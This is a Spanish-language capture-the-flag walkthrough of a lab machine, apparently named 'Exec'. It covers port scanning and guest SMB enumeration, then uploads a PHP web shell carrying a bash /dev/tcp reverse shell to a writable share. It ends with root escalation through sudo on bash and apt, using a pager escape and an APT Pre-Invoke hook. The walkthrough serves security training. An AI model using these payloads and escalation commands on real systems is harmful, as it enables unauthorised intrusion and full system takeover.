Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.74❯ nmap -sCV -p 22,80,139,445 -oN 02-targeted.txt 192.168.1.74
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 19:24 -04
Nmap scan report for 192.168.1.74
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -2s
|_nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-08-19T23:24:50
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.22 secondsHay SMB (Samba) expuesto. Probamos una sesión nula con nxc, que falla, pero como usuario guest sí logramos enumerar los recursos compartidos:
❯ nxc smb 192.168.1.74
SMB 192.168.1.74 445 EXEC [*] Windows 6.1 Build 0 (name:EXEC) (domain:EXEC) (signing:False) (SMBv1:False)
❯ nxc smb 192.168.1.74 -u guest -p "" --shares
SMB 192.168.1.74 445 EXEC [+] EXEC\guest:
SMB 192.168.1.74 445 EXEC [*] Enumerated shares
SMB 192.168.1.74 445 EXEC Share Permissions Remark
SMB 192.168.1.74 445 EXEC ----- ----------- ------
SMB 192.168.1.74 445 EXEC print$ Printer Drivers
SMB 192.168.1.74 445 EXEC server READ,WRITE Developer Directory
SMB 192.168.1.74 445 EXEC IPC$ IPC Service (Samba 4.17.12-Debian)
SMB 192.168.1.74 445 EXEC nobody Home DirectoriesTenemos permisos de lectura y escritura en el recurso server, que además contiene un index.html (indicio de que se sirve por el web):
❯ smbclient //192.168.1.74/server
smb: \> ls
. D 0 Mon Aug 19 20:39:31 2024
.. D 0 Mon Apr 15 04:04:12 2024
index.html N 10701 Mon Apr 15 04:04:31 2024Subimos una webshell PHP al recurso, que quedará accesible desde el servidor web:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>
smb: \> put pwned.php
putting file pwned.php as \pwned.php (9.8 kb/s) (average 9.8 kb/s)Nos ponemos a la escucha y accedemos a http://192.168.1.74/pwned.php para recibir la shell como www-data:
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.74:59112.
bash: cannot set terminal process group (484): Inappropriate ioctl for device
bash: no job control in this shell
www-data@exec:/var/www/html$La escalada se hace en dos saltos vía sudo. Primero, www-data puede ejecutar bash como el usuario s3cur4:
www-data@exec:/var/www/html$ sudo -l
Matching Defaults entries for www-data on exec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on exec:
(s3cur4) NOPASSWD: /usr/bin/bash
www-data@exec:/var/www/html$ sudo -u s3cur4 bash
s3cur4@exec:/var/www/html$Obtenemos la shell de s3cur4 y la primera flag. Revisamos sus permisos sudo:
s3cur4@exec:~$ sudo -l
Matching Defaults entries for s3cur4 on exec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User s3cur4 may run the following commands on exec:
(root) NOPASSWD: /usr/bin/aptPodemos ejecutar apt como root, que ofrece varios vectores de escalada. El primero abusa de apt changelog, que usa un pager tipo less desde el cual escapamos a un shell:
s3cur4@exec:~$ sudo apt changelog apt
Escribimos: !/bin/bash
root@exec:/home/s3cur4#Un método alternativo es inyectar un comando en un hook de apt update:
s3cur4@exec:~$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
root@exec:/tmp#Obtenemos nuestra flag y fin.